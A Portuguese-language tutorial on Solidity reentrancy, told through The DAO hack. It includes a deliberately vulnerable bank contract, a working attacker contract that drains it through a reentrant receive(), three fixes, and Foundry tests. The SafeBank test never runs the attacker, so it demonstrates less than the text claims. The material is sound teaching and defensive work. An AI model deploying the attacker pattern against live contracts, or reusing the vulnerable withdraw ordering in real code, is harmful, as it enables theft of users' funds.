Reentrancy: a vulnerabilidade que custou 60 milhões ao The DAO
1. Visão geral
Reentrancy é uma das vulnerabilidades mais clássicas do Solidity — e também a razão pela qual The DAO perdeu cerca de 3,6 milhões de ETH (~60 milhões de USD na época de 2016). Este artigo explica a natureza do reentrancy, recria o cenário de ataque com código real e aponta as três formas mais comuns de prevenção. Depois de ler, você será capaz de escrever um contrato vulnerável a ataques, um contrato que o explora e um contrato corrigido — com testes do Foundry para comprovar.
2. O que é Reentrancy
Reentrancy ocorre quando um contrato A faz uma chamada externa (external call) para um contrato B, e B chama de volta para A antes de A ter chance de atualizar seu estado. Se A depender do estado antigo para decidir a lógica, B pode explorar essa brecha para repetir uma ação (por exemplo, sacar fundos) várias vezes.
O ponto-chave: em Solidity, todo comando call, send ou transferência de ETH com dados pode ativar a função fallback/receive do destinatário — e é exatamente lá que o loop começa.
3. The DAO: o que aconteceu
The DAO era um fundo de investimento descentralizado que permitia aos detentores de tokens sacar seu ETH através de uma função splitDAO. Esta função enviava ETH primeiro, depois atualizava o saldo do sacador. O atacante escreveu um contrato com uma função fallback que chamava de volta splitDAO assim que recebia ETH — e como o saldo não tinha sido subtraído, o atacante conseguia sacar fundos várias vezes em uma única transação.
Consequência: 3,6 milhões de ETH foram sacados antes que a comunidade Ethereum tivesse que executar um hard fork controverso (que originou o Ethereum Classic) para devolver os fundos.
4. Recriando a vulnerabilidade com código
4.1. Contrato vulnerável
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Envia ETH ANTES de atualizar o estado -> vulnerável!
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
withdraw() chama msg.sender.call{value: amount}("") primeiro e depois define balances[msg.sender] = 0. Se msg.sender é um contrato com fallback, ele pode chamar de volta withdraw() enquanto a call está executando — neste ponto balances[msg.sender] ainda não foi subtraído.
4.2. Contrato do atacante
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank public bank;
uint256 public constant ATTACK_AMOUNT = 1 ether;
constructor(address bankAddress) {
bank = VulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
bank.deposit{value: ATTACK_AMOUNT}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw(); // chama novamente enquanto balances[this] ainda não é 0
}
}
}
Fluxo de execução:
attack()deposita 1 ETH noVulnerableBanke depois chamawithdraw().withdraw()envia 1 ETH paraReentrancyAttacker, acionandoreceive().- Dentro de
receive(), o atacante vê que o banco ainda tem ETH então chamawithdraw()novamente — masbalances[attacker]ainda é 1 ether (porque ainda não chegou à linha de atualização). - O loop continua até que o banco fique sem fundos ou sem gas.
Saldo do banco antes do ataque: 10 ether
Saldo do banco após o ataque: 0 ether
Saldo do atacante: 11 ether
Nota: O código acima é apenas para ilustração. Não faça deploy na mainnet ou em testnets públicas — nem mesmo para “testar por diversão”.
5. Por que o código é vulnerável
A raiz do problema é violar o princípio Checks-Effects-Interactions: primeiro deve-se verificar (checks), depois atualizar o estado (effects) e só depois interagir com o exterior (interactions). VulnerableBank inverte a ordem de effects e interactions — envia ETH (interaction) antes de subtrair o saldo (effect).
Além disso, call{value: amount}("") passa todo o gas restante para o destinatário (diferente de transfer/send que limitam a 2300 gas), então o atacante tem gas suficiente para executar lógica complexa em fallback/receive.
6. Formas de prevenção
6.1. Checks-Effects-Interactions
A forma mais simples e barata: atualizar o estado antes de fazer chamadas externas.
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // Effect antes
(bool success, ) = msg.sender.call{value: amount}(""); // Interaction depois
require(success, "Transfer failed");
}
Quando o atacante chama withdraw() novamente em receive(), balances[msg.sender] já é 0, então require(amount > 0) reverte imediatamente — o loop é bloqueado.
6.2. ReentrancyGuard de OpenZeppelin
Se a lógica for mais complexa e você quiser uma camada de proteção clara, use o modificador nonReentrant.
<!-- Se usar Hardhat/npm, instale via npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
nonReentrant usa uma variável _status interna: quando a função está executando, ela define o estado como “bloqueado”; se houver uma chamada de volta para qualquer outra função nonReentrant do contrato durante esse tempo, a transação será revertida.
Nota:
nonReentrantapenas protege as funções no mesmo contrato que têm o mesmo modificador. Ele não previne reentrancy entre contratos se você chamar outro contrato que depois chama de volta uma função semnonReentrant.
6.3. Pull payment pattern
Em vez de enviar automaticamente ETH, deixe o usuário sacar por uma etapa separada, separando a lógica de acumulação de débitos e a lógica de transferência de fundos:
contract PullPaymentBank {
mapping(address => uint256) public pendingWithdrawals;
function creditWithdrawal(address user, uint256 amount) internal {
pendingWithdrawals[user] += amount;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Essa abordagem separa os riscos: mesmo que withdraw() seja chamado novamente, a lógica de débito (creditWithdrawal) já ocorreu em outro lugar e não é afetada.
7. Escrevendo testes para comprovar o ataque e o corretor
Com Solidity, a ferramenta de teste equivalente ao JUnit é o Foundry (forge-std). O teste abaixo comprova que VulnerableBank é drenado, enquanto SafeBank não é.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank bank;
SafeBank safeBank;
address victim = address(0x1);
function setUp() public {
bank = new VulnerableBank();
safeBank = new SafeBank();
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
}
function test_VulnerableBank_IsDrainedByReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
function test_SafeBank_RejectsReentrancy() public {
vm.deal(victim, 10 ether);
vm.prank(victim);
safeBank.deposit{value: 10 ether}();
// Impede o atacante de explorar SafeBank -> esperado não sacar mais de uma vez
vm.expectRevert();
vm.prank(victim);
safeBank.withdraw(); // a segunda chamada após sacar tudo reverte porque amount = 0
}
}
Executar testes:
forge test -vv
Resultado esperado:
[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()
O primeiro teste afirma que o bank é drenado para 0 e o atacante recebe 11 ETH — exatamente como no cenário do The DAO. O segundo teste afirma que com SafeBank (aplicando Checks-Effects-Interactions), a segunda chamada de saque reverte porque o saldo já é 0.
8. Erros comuns
- Apenas trocar
callportransfer/sendsem corrigir a ordem do estado:transferlimita a 2300 gas então bloqueia reentrancy simples, mas não é uma solução completa — muitas carteiras/contratos legítimos precisam de mais de 2300 gas para receber ETH (por exemplo, proxy contracts), causando falha em transações legítimas. - Esquecer cross-function reentrancy: duas funções diferentes que leem/escrevem a mesma variável de estado podem ser exploradas entre si se você apenas corrigir uma função.
- Read-only reentrancy: uma função
viewretorna um estado que ainda não foi atualizado, sendo lida por outro contrato e usada incorretamente enquanto outra transação está em progresso — ainda causa consequências mesmo sem sacar fundos diretamente. - Confiar que
nonReentranté suficiente para todo o sistema: se você tem múltiplos contratos interagindo, deve revisar todo o fluxo de chamadas, não apenas um contrato isolado.
Nota: Não deve-se considerar nenhum padrão isolado como “completamente imune”. Sempre combine Checks-Effects-Interactions com
nonReentrantpara funções com chamadas externas e dinheiro envolvido.
9. Conclusão
O incidente do The DAO é uma lição cara: uma ordem de instruções aparentemente inofensiva (enviar dinheiro primeiro, atualizar o livro depois) forçou toda a comunidade Ethereum a fazer um hard fork. O princípio Checks-Effects-Interactions, o modificador nonReentrant e o padrão pull payment são três ferramentas básicas mas poderosas o suficiente para bloquear essa classe de vulnerabilidades. Quando escrever qualquer função com chamadas externas e transferência de dinheiro, sempre se pergunte: “Meu estado foi atualizado antes de eu fazer chamadas externas?”